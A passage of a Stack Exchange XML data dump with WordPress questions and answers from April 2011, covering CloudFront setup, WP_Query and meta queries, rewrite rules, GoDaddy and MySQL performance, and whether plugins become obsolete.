  <row Id="14181" PostTypeId="1" CreationDate="2011-04-07T16:39:15.027" Score="0" ViewCount="44" Body="&lt;p&gt;I have just managed to get my site running behind a Cloudfront distribution using the custom distribution API, but now i cannot login to the site using the standard old address (since i screwed around with DNS). &#xA;The way i have it hooked up is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;backendblog - real server&#xA;blog - cloud front distribution told to get data from backendblog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;visiting blog results in the page being returned (and quite fast too!) but none of the dynamic stuff (search, login, etc) work. comments work grand since they are managed by Disqus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, i have 2 questions around this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: how do i set it so that backendblog will allow me to login without redirecting to blog (if i set the config, it changes all the URLs... want the URLs to be what ever site the page loads on...) &#xA;2: how do i configure pages to have higher expire times so they stay in CloudFront longer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ever try this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the site, for reference, is blog.lotas-smartman.net (clodfront) or backendblog.lotas-smartman.net (dedicated box in Germany). have seen Pingdom avg response times drop massively in the last week with cloudfront...&lt;/p&gt;&#xA;" OwnerUserId="4506" LastActivityDate="2011-04-07T16:39:15.027" Title="Using Wordpress behind a CloudFront Custom Distribution" Tags="&lt;cdn&gt;" CommentCount="2" />
  <row Id="14182" PostTypeId="1" AcceptedAnswerId="14258" CreationDate="2011-04-07T17:00:23.923" Score="0" ViewCount="140" Body="&lt;p&gt;Im using wordpress 3.1.1, in frontpage i need to display only the media uploads, now im using this acction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'parse_query', 'custom_query' );&#xA;&#xA;function custom_query( &amp;amp;$query ) {&#xA;&#xA;  $query-&amp;gt;set( 'post_type', array('attachment') );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add_filter( 'pre_get_posts', 'my_get_posts' );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function my_get_posts( &amp;amp;$query ) {&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if ( is_home() || is_frontpage() ) {&#xA;&#xA;    $query-&amp;gt;set( 'post_status', 'inherit' );&#xA;    $query-&amp;gt;set( 'post_type', 'attachment' );&#xA;&#xA;  }&#xA;&#xA;&#xA;  return $query;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But doesnt work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is working.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="2011" LastEditorDisplayName="" LastEditDate="2011-04-07T23:28:35.693" LastActivityDate="2011-04-08T11:19:57.007" Title="How to change default post type / post to media or attachments" Tags="&lt;query-posts&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="14183" PostTypeId="2" ParentId="13608" CreationDate="2011-04-07T17:13:22.393" Score="3" ViewCount="" Body="&lt;p&gt;Yes, this is possible, because your &lt;code&gt;genres&lt;/code&gt; structure is &lt;code&gt;/music/genres/[genre-name]&lt;/code&gt;. If it was &lt;code&gt;/music/[genre-name]&lt;/code&gt; it would be complicated because it would conflict with &lt;code&gt;/music/[post-name]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just have to keep the order in mind. The rewrite rules should be ordered from most specific to least specific. If you first register the post type and then the taxonomy, the post type rules will come first. The problem is that the post type rules contain a very generic rule to match attachments, and this would mess with our taxonomy terms. But it will work if you first register the taxonomy and then the post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The confusing thing is that you normally pass the post types that will use the taxonomy you are registering, but you can just pass the empty array and make the connection later.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse13608_init' );&#xA;function wpse13608_init()&#xA;{&#xA;    register_taxonomy(&#xA;        'music-genre',&#xA;        array(),&#xA;        array(&#xA;            'rewrite' =&amp;gt; array(&#xA;                'slug' =&amp;gt; 'music/genre'&#xA;            ),&#xA;        )&#xA;    );&#xA;    register_post_type( 'music' );&#xA;    register_taxonomy_for_object_type( 'music-genre', 'music' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can verify this and play with your rules with my &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;Rewrite analyzer plugin&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-07T17:13:22.393" />
  <row Id="14184" PostTypeId="2" ParentId="14177" CreationDate="2011-04-07T17:28:50.450" Score="0" ViewCount="" Body="&lt;p&gt;Here you go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_media_all_wpa14177(){&#xA;    $args = array(&#xA;        'post_type' =&amp;gt; 'attachment',&#xA;        'post_mime_type' =&amp;gt;'image',&#xA;        'post_status' =&amp;gt; 'inherit',&#xA;        'posts_per_page' =&amp;gt; -1,&#xA;    );&#xA;    $query_images = new WP_Query( $args );&#xA;    $images = array();&#xA;    foreach ( $query_images-&amp;gt;posts as $image) {&#xA;        $images[]= $image-&amp;gt;guid;&#xA;    }&#xA;    return $images;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Usage:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$Images = get_media_all_wpa14177();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-07T17:28:50.450" CommentCount="1" />
  <row Id="14185" PostTypeId="1" AcceptedAnswerId="14312" CreationDate="2011-04-07T17:30:31.383" Score="-2" ViewCount="97" Body="&lt;p&gt;I was planning to use the &lt;a href=&quot;http://wordpress.org/extend/plugins/advertising-manager/&quot; rel=&quot;nofollow&quot;&gt;Advertising Manager&lt;/a&gt; plugin by Switzer. But, the documentation site appears to be down (permanently?). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using WP 3.1.1 with the Suffusion theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Would you recommend using this plugin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) If so, can someone point me to a tutorial or a link on how to use it? Or advise how to get set-up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Laxmidi&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-04-08T16:33:59.200" Title="Should I Use the Advertising Manager Plugin? If So, How?" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" />
  <row Id="14186" PostTypeId="1" CreationDate="2011-04-07T17:51:37.327" Score="4" ViewCount="301" Body="&lt;p&gt;I prefer not to use GoDaddy because I always encounter performance issues. However, one of my clients is rather insistent on using them... so we are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested this with a vanilla Wordpress 3.0+ install with no active plugins, but it always seems to happen for me: Whenever a new page/post is called by the browser, we encounter 3-10 second &quot;waiting&quot; times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/pFz28.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have this problem on any non-godaddy wordpress installs (they nearly always get their pages in queue in under 2 seconds). But all my Godaddy installs exhibit this behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone familiar with this issue?&lt;/p&gt;&#xA;" OwnerUserId="2391" LastActivityDate="2011-08-18T18:15:50.353" Title="Long Waiting Times on GoDaddy?" Tags="&lt;optimization&gt;&lt;loading-time&gt;" AnswerCount="5" CommentCount="8" />
  <row Id="14187" PostTypeId="1" AcceptedAnswerId="14212" CreationDate="2011-04-07T18:19:11.860" Score="3" ViewCount="364" Body="&lt;p&gt;have a website (www.americanbankingnews.com) that gets 40,000-50,000 page views today. It's currently sitting on a dedicated quad-core Xeon server with 8GB of ram. The site is powered by WordPress and MySQL (sitting on the same server) and I'm currently using W3 Total Cache for page and MySQL query Caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, that doesn't seem to be enough. During peak traffic times, my servers are getting a few HTTP 500 errors and pages that aren't cached load slowly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently not using Xcache or any other PHP cache/acceleration tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there additional steps that I should take to try to optimize MySQL and PHP performance? Or should I fork over for an additional server. Specifically, I'd be interested in additional suggestions to improve MySQL performance and whether or not tools like xcache might help in this situation&lt;/p&gt;&#xA;" OwnerUserId="4510" LastActivityDate="2011-04-08T01:57:06.923" Title="WordPress MySQL &amp; PHP Performance" Tags="&lt;mysql&gt;&lt;performance&gt;" AnswerCount="7" CommentCount="1" FavoriteCount="1" />
  <row Id="14188" PostTypeId="2" ParentId="14186" CreationDate="2011-04-07T18:21:32.823" Score="6" ViewCount="" Body="&lt;p&gt;It's really simply GoDaddy and slow mysql and webservers. I've heard apocryphal stories of people making lots of noise to GoDaddy support and as a result, speeds improve. Do they get moved to better servers or get priority load-balancing? Impossible to say.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other thing to try is &lt;a href=&quot;http://wordpress.org/extend/plugins/use-google-libraries/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/use-google-libraries/&lt;/a&gt;  but sometimes it doesn't help much with an overall slow shared hosting system.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-04-07T18:37:25.540" LastActivityDate="2011-04-07T18:37:25.540" />
  <row Id="14189" PostTypeId="2" ParentId="14187" CreationDate="2011-04-07T18:27:01.897" Score="2" ViewCount="" Body="&lt;p&gt;Lots of similar questions and answers:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/search?q=mysql+optimize&quot;&gt;http://wordpress.stackexchange.com/search?q=mysql+optimize&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It comes down to using tools - like mysqltuner - to investigate the bottlenecks, checking logs for errors and memory usage, php opcode-caching, clearing post/page revisons to get the DB down to size, etc.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-04-07T18:27:01.897" />
  <row Id="14190" PostTypeId="2" ParentId="14187" CreationDate="2011-04-07T18:27:15.863" Score="0" ViewCount="" Body="&lt;p&gt;Do you have insight in what exactly is becoming a bottleneck under high load? It could be different type of resource (CPU load, sustaining network conenctions, running out of memory, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;General things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;opcode cache&lt;/strong&gt; (keeping compiled PHP code in memory) is a must;&lt;/li&gt;&#xA;&lt;li&gt;you seem to have memory to burn, so it's worth trying &lt;strong&gt;memory-based object cache&lt;/strong&gt; (W3TC supports it, look into that). It will make a lot of stuff more persistent and move load away from MySQL;&lt;/li&gt;&#xA;&lt;li&gt;if web server software is bottleneck (you don't mention what you run, Apache?) you might want to look into &lt;strong&gt;alternative  web server&lt;/strong&gt; (like nginx) or &lt;strong&gt;reverse proxy&lt;/strong&gt; (again - you have memory to burn, I heard good things about Varnish).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-07T18:27:15.863" CommentCount="2" />
  <row Id="14191" PostTypeId="2" ParentId="14187" CreationDate="2011-04-07T18:27:53.977" Score="0" ViewCount="" Body="&lt;p&gt;You weren't kidding, just tried going to your site and got a 500 internal error. Perhaps you can lower the number of plugins you are using and make sure all images are optimized, etc. to make page sizes smaller so they consume less bandwidth to load hence less errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to look into &lt;a href=&quot;https://github.com/facebook/hiphop-php/&quot; rel=&quot;nofollow&quot;&gt;HIP HOP for PHP&lt;/a&gt; . I never implemented it but it was released open source by the facbook people who after creating and using it saw their server load go down by about 30%. Basically it takes regular php files, converts them to C++ binaries and serves those out.&lt;/p&gt;&#xA;" OwnerUserId="4511" LastActivityDate="2011-04-07T18:27:53.977" CommentCount="1" />
  <row Id="14192" PostTypeId="2" ParentId="1714" CreationDate="2011-04-07T18:29:12.440" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Set Desired Permalinks&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A new (awesome) theme project I came across this week that is heavily focused on HTML5/CSS3 functionality has it's own 'bootstrap' script to create some boilerplate content, incorporate permalink settings, set a relative root for the site install, etc. These features are called on theme activation. The project is called &lt;a href=&quot;http://www.rootstheme.com/&quot; rel=&quot;nofollow&quot;&gt;Roots&lt;/a&gt; and the code can be downloaded &lt;a href=&quot;https://github.com/retlehs/roots&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; ; I take no credit for this code. That said, here's the code to auto-set /year/postname as the permalink structure (and the activation hooks below for global $pagenow are explained here: &lt;a href=&quot;http://foolswisdom.com/wp-activate-theme-actio/&quot; rel=&quot;nofollow&quot;&gt;http://foolswisdom.com/wp-activate-theme-actio/&lt;/a&gt; . ).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    global $pagenow;&#xA;    if (is_admin() &amp;amp;&amp;amp; 'themes.php' === $pagenow &amp;amp;&amp;amp; isset( $_GET['activated'])) {&#xA;&#xA;&#xA;        // set the permalink structure&#xA;        if (get_option('permalink_structure') != '/%year%/%postname%/') { &#xA;            update_option('permalink_structure', '/%year%/%postname%/');&#xA;      }&#xA;&#xA;        $wp_rewrite-&amp;gt;init();&#xA;        $wp_rewrite-&amp;gt;flush_rules(); &#xA;&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&gt;&lt;/p&gt;&#xA;" OwnerUserId="4443" LastEditorUserId="4443" LastEditorDisplayName="" LastEditDate="2011-04-07T19:03:24.940" LastActivityDate="2011-04-07T19:03:24.940" CommentCount="2" />
  <row Id="14194" PostTypeId="2" ParentId="14186" CreationDate="2011-04-07T18:43:53.973" Score="3" ViewCount="" Body="&lt;p&gt;Godaddy is to blame. I think a monkey does everything manually whenever we submit a request for anything. Be it a password change or anything, it will take several minutes before anything happens. Monkey is so busy dealing with everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that they throttle their FTP connections, limit number of concurrent FTP connections, always have permission issues &amp;amp; are terrible in performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And lets not forget there servers are poorly configured which leads to hacked sites and several times, WP is blamed for getting hacked.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-04-07T18:43:53.973" />
  <row Id="14195" PostTypeId="2" ParentId="10772" CreationDate="2011-04-07T18:46:03.437" Score="3" ViewCount="" Body="&lt;p&gt;This can be accomplished with fragment caching feature that W3TC has. Had been &lt;a href=&quot;http://wordpress.stackexchange.com/search?q=%22fragment%20caching%22&quot;&gt;asked/answered&lt;/a&gt; couple times.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-07T18:46:03.437" />
  <row Id="14196" PostTypeId="1" CreationDate="2011-04-07T19:20:18.823" Score="2" ViewCount="73" Body="&lt;p&gt;I presume WordPress plugins are made by third parties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do plugins have to be kept up to date with WordPress upgrades?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can plugins become obsolete?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they do become obsolete, say with plugins for Linkedin Share buttons, Twitter Tweet buttons, and Facebook Like buttons, would switching to different plugins cause the count of likes / tweets / shares to be lost?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if plugins becoming obsolete is possible, does it tend to happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are plugins generally kept up to date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are they open source, so other people would keep them up to date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(As you can probably guess, I'm not a programmer.)&lt;/p&gt;&#xA;" OwnerUserId="4514" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-08T09:38:48.950" LastActivityDate="2011-04-08T09:38:48.950" Title="Can plugins become obsolete?" Tags="&lt;plugins&gt;&lt;maintenance&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="14197" PostTypeId="1" AcceptedAnswerId="14207" CreationDate="2011-04-07T19:21:22.860" Score="4" ViewCount="117" Body="&lt;p&gt;Right now, I'm able to dynamically generate js and css, based on my theme options&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do that i set up a query var, that if present redirects to a php file, which then loads itself as a javascript file.  Afterwhich it then takes the jqpostID, and and grabs any options i need to generate my js.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I basically have to include a script link that references a location  portion of my html &lt;a href=&quot;http://mywordpress.com/?dynamic=js&amp;amp;jqpostid=130&quot; rel=&quot;nofollow&quot;&gt;http://mywordpress.com/?dynamic=js&amp;amp;jqpostid=130&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to make it more readable, and less apparent that it is being dynamically generated. maybe like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mywordpress.com/dynamic/js/123&quot; rel=&quot;nofollow&quot;&gt;http://mywordpress.com/dynamic/js/123&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i suppose this would even be better...&#xA;&lt;a href=&quot;http://mywordpress.com/dynamic/js/123.js&quot; rel=&quot;nofollow&quot;&gt;http://mywordpress.com/dynamic/js/123.js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figure i have to hook into the rewrite engine of wordpress somehow. And add a new rule. Any help, or references to other articles would be great, or some sample code would be awesome.&lt;/p&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2011-04-07T20:56:28.520" Title="How Do I add a redirect rule to Wordpress?" Tags="&lt;plugins&gt;&lt;rewrite-rules&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="14198" PostTypeId="1" CreationDate="2011-04-07T19:33:08.893" Score="0" ViewCount="365" Body="&lt;p&gt;my situation: I have a frontpage which filters 12 thumbnails out of 24 (each thumbnail represents a post's featured image), and displays them. The user has the ability to hide whichever post he wants from the frontpage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say the user chooses to hide thumb #4, that means we now have thumb 1,2,3,5,6,7,8,9,10,11,12. That is, we have 11 thumbnails. So we are missing the last 'thumbnail space', which should be filled with the upcoming post; in this case, thumb #13.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, the frontpage should query the posts so that when one or more thumbnails are hidden - resulting in one or more blank spaces - it automatically 'refills' the blank spaces by pushing in the upcoming thumbnails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My front-page has this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php &#xA;            global $wp_query;&#xA;&#xA;            // First row of images&#xA;            if(!empty($options['home_thumbs'])) {&#xA;                $page_items = $options['home_thumbs'];&#xA;            } else {&#xA;                $page_items = 18;&#xA;            }&#xA;&#xA;            $portCat = get_category_id($options['portfoliocat']);&#xA;&#xA;            // get the desired sort order of portfolio items&#xA;            if($options['homepage_sort'] == 'DESC') { $order = 'DESC'; } else { $order = 'ASC'; }&#xA;&#xA;            $hideFromHome = get_post_meta($wp_query-&amp;gt;post-&amp;gt;ID, 'pr_hidehome', true);&#xA;&#xA;            query_posts('posts_per_page=' . $page_items . '&amp;amp;orderby=title&amp;amp;order=' . $order . '&amp;amp;cat=' . $portCat . '&amp;amp;meta_key=' . $hideFromHome .'&amp;amp;meta_value=' . true);&#xA;            // arrays to detect first and last columns&#xA;            $firsts = array(6,12,18,24,30,36);&#xA;            $lasts = array(5,11,17,23,29,35);&#xA;            if (have_posts()) :&#xA;                $count = 0;&#xA;                echo '&amp;lt;ul class=&quot;imageRows rowOne&quot;&amp;gt;';&#xA;                while (have_posts()) : the_post();&#xA;                $custom_meta = get_post_custom($post-&amp;gt;ID);&#xA;&#xA;                    if (has_post_thumbnail() &amp;amp;&amp;amp; $custom_meta['pr_hidehome'][0] != true) { ?&amp;gt;&#xA;                        &amp;lt;li class=&quot;&amp;lt;?php if (in_array($count, $firsts) ) { echo ' columnFirst'; } if (in_array($count, $lasts) ) { echo ' columnLast'; } ?&amp;gt;&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&#xA;                                &amp;lt;?php&#xA;                                    $atts = array(&#xA;                                        'class' =&amp;gt; &quot;attachment-$size imageBlock&quot;,&#xA;                                        'alt'   =&amp;gt; get_the_title(),&#xA;                                    );&#xA;                                    the_post_thumbnail('portfolioSmall', $atts); &#xA;&#xA;                                ?&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;                   &#xA;                        &amp;lt;?php&#xA;                        $count++;&#xA;                    }&#xA;                endwhile; &#xA;                echo '&amp;lt;/ul&amp;gt; &amp;lt;!-- First row --&amp;gt;';&#xA;                else :          &#xA;                echo '&amp;lt;h3&amp;gt;Oops, something went wrong.&amp;lt;/h3&amp;gt;';&#xA;             endif;&#xA;&#xA;        ?&amp;gt;                                              &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;pr_hidehome is the option that, when enabled, hides the respective post (but leaves that empty space I'd need to be filled in with one or more of the upcoming thumbnails). You can also see how I am trying to query the posts. However, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11049/query-posts-or-get-posts-by-custom-fields-possible&quot;&gt;on this article&lt;/a&gt;, I read that the best way to query posts by custom fields is using an array with 'meta_query' in it. So here's what I tried it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php &#xA;            global $wp_query;&#xA;&#xA;            // First row of images&#xA;            if(!empty($options['home_thumbs'])) {&#xA;                $page_items = $options['home_thumbs'];&#xA;            } else {&#xA;                $page_items = 18;&#xA;            }&#xA;&#xA;            $portCat = get_category_id($options['portfoliocat']);&#xA;&#xA;            // get the desired sort order of portfolio items&#xA;            if($options['homepage_sort'] == 'DESC') { $order = 'DESC'; } else { $order = 'ASC'; }&#xA;&#xA;&#xA;            $args = array(&#xA;            'posts_per_page' =&amp;gt; $page_items,&#xA;            'orderby' =&amp;gt; 'title',&#xA;            'order' =&amp;gt; $order,&#xA;            'cat' =&amp;gt; $portCat,&#xA;            'meta_query' =&amp;gt; array(&#xA;                    array(&#xA;                        'key' =&amp;gt; 'pr_hidehome',&#xA;                        'value' =&amp;gt; 'the_value_you_want',&#xA;                        'compare' =&amp;gt; 'LIKE'&#xA;                    )&#xA;                )&#xA;            );&#xA;            query_posts($args);&#xA;&#xA;            // arrays to detect first and last columns&#xA;            $firsts = array(6,12,18,24,30,36);&#xA;            $lasts = array(5,11,17,23,29,35);&#xA;            if (have_posts()) :&#xA;                $count = 0;&#xA;                echo '&amp;lt;ul class=&quot;imageRows rowOne&quot;&amp;gt;';&#xA;                while (have_posts()) : the_post();&#xA;                $custom_meta = get_post_custom($post-&amp;gt;ID);&#xA;&#xA;                    if (has_post_thumbnail() &amp;amp;&amp;amp; $custom_meta['pr_hidehome'][0] != true) { ?&amp;gt;&#xA;                        &amp;lt;li class=&quot;&amp;lt;?php if (in_array($count, $firsts) ) { echo ' columnFirst'; } if (in_array($count, $lasts) ) { echo ' columnLast'; } ?&amp;gt;&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&#xA;                                &amp;lt;?php&#xA;                                    $atts = array(&#xA;                                        'class' =&amp;gt; &quot;attachment-$size imageBlock&quot;,&#xA;                                        'alt'   =&amp;gt; get_the_title(),&#xA;                                    );&#xA;                                    the_post_thumbnail('portfolioSmall', $atts); &#xA;&#xA;                                ?&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;                   &#xA;                        &amp;lt;?php&#xA;                        $count++;&#xA;                    }&#xA;                endwhile; &#xA;                echo '&amp;lt;/ul&amp;gt; &amp;lt;!-- First row --&amp;gt;';&#xA;                else :          &#xA;                echo '&amp;lt;h3&amp;gt;Oops, something went wrong.&amp;lt;/h3&amp;gt;';&#xA;             endif;&#xA;&#xA;        ?&amp;gt;                                              &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sadly this gave me the fallback error 'Oops, something went wrong'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's it. I hope I explained myself well enough. If not, I'll try and rephrase everything so that you can help me out!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much. All help is greatly appreciated ;)&lt;/p&gt;&#xA;" OwnerUserId="4513" LastEditorUserId="4513" LastEditorDisplayName="" LastEditDate="2011-04-07T19:58:45.080" LastActivityDate="2011-08-08T12:20:58.083" Title="Query Posts (post meta)" Tags="&lt;query-posts&gt;&lt;wp-query&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="14199" PostTypeId="2" ParentId="14196" CreationDate="2011-04-07T19:36:54.457" Score="6" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I presume WordPress plugins are made by third parties.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For the moment, yes; all except for &quot;Hello Dolly!&quot; and &quot;Akismet&quot;, which are part of the core distribution.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do plugins have to be kept up to date&#xA;  with WordPress upgrades?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Certainly they &lt;em&gt;should&lt;/em&gt; be; but they're not &lt;em&gt;required&lt;/em&gt; to be kept up-to-date.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can plugins become obsolete?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;And if plugins becoming obsolete is&#xA;  possible, does it tend to happen?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They can, and do. It does tend to happen, yes. There are currently almost 15,000 Plugins listed in the Repository. The oldest ones were last updated in 2004. (Some become obsolete through abandonment; others become obsolete because their functionality gets rolled into core.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If they do become obsolete, say with&#xA;  plugins for Linkedin Share buttons,&#xA;  Twitter Tweet buttons, and Facebook&#xA;  Like buttons, would switching to&#xA;  different plugins cause the count of&#xA;  likes / tweets / shares to be lost?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends on the Plugin. If a Plugin stores such data in the database, then another Plugin could easily make use of those data.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or are plugins generally kept up to&#xA;  date?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends entirely on the Plugin developer, and often, the popularity/usefulness of the Plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as EAMann mentioned below, you can get a good idea of a Plugin's status via the &quot;Requires:&quot; header tag and the &quot;Tested Up To:&quot; header tag. If the &quot;Tested Up To:&quot; tag indicates a recent version of WordPress, the Plugin is much more likely to be still under continual development.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or are they open source, so other&#xA;  people would keep them up to date?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is possible also. Some Plugin developers will welcome patches, or add people as SVN committers for the Plugin. Other times, Plugins are simply forked.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-04-07T21:01:32.250" LastActivityDate="2011-04-07T21:01:32.250" CommentCount="1" />
  <row Id="14200" PostTypeId="2" ParentId="14196" CreationDate="2011-04-07T19:41:01.513" Score="4" ViewCount="" Body="&lt;p&gt;Most plugins are made by third parties, but some are made by core developers or by Automattic, the company behind WordPress.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of us try to keep our plugins up-to-date as far as compatibility goes, but yes, some plugins can become obsolete.  Either from developer inaction or from features eventually being rolled into the core of WordPress itself.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;A Personal Example&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I've been using WordPress for a very long time.  When I first started using the system, there was no way to delete spam comments.  You could mark comments as spam, and they'd disappear from the admin screen &lt;em&gt;but stay in the database&lt;/em&gt;.  After I saw just how large my database had become, I built a quick plugin that would delete old spam comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin was named ClearSpam and was hosted in &lt;a href=&quot;http://wordpress.org/extend/plugins/clearspam/&quot; rel=&quot;nofollow&quot;&gt;the WordPress.org plugin repository&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a while, though, the WordPress team came together and added a trash feature to WordPress.  This allows you to delete old posts, delete pages, and remove comments (spammy or otherwise).  It made my plugin unnecessary - it made my plugin obsolete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I left it in 